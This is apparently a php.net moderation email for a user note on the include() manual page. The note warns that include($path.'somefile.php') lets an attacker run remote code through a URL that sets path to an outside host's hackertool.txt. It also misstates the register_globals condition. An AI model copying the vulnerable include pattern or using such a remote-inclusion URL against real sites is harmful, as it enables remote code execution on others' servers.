note 66218 added to function.include

In comment to durkboek A_T hotmail D_O_T com: Even more serious, what if you have: <?php $path="/full/path/to/script/"; include($path.'somefile.php'); ?> Then, if register_globals=off, a hacker can call this URL: http://mysite.com/script.php?path=http://site.com/hackertool.txt , causing the PHP-content of hackertool.txt to be parsed on mysite.com! I wouldn't expect this to work, but it seems it do! :( ---- Server IP: 83.137.200.2 Probable Submitter: 193.217.105.20 ---- X-Spam-Status: No, hits=3.1 required=5.0 tests=DATE_MISSING,FROM_NO_LOWER autolearn=no version=2.64 ---- Manual Page -- http://www.php.net/manual/en/function.include.php Edit -- http://master.php.net/note/edit/66218 Del: integrated -- http://master.php.net/note/delete/66218/integrated Del: useless -- http://master.php.net/note/delete/66218/useless Del: bad code -- http://master.php.net/note/delete/66218/bad+code Del: spam -- http://master.php.net/note/delete/66218/spam Del: non-english -- http://master.php.net/note/delete/66218/non-english Del: in docs -- http://master.php.net/note/delete/66218/in+docs Del: other reasons-- http://master.php.net/note/delete/66218 Reject -- http://master.php.net/note/reject/66218 Search -- http://master.php.net/manage/user-notes.php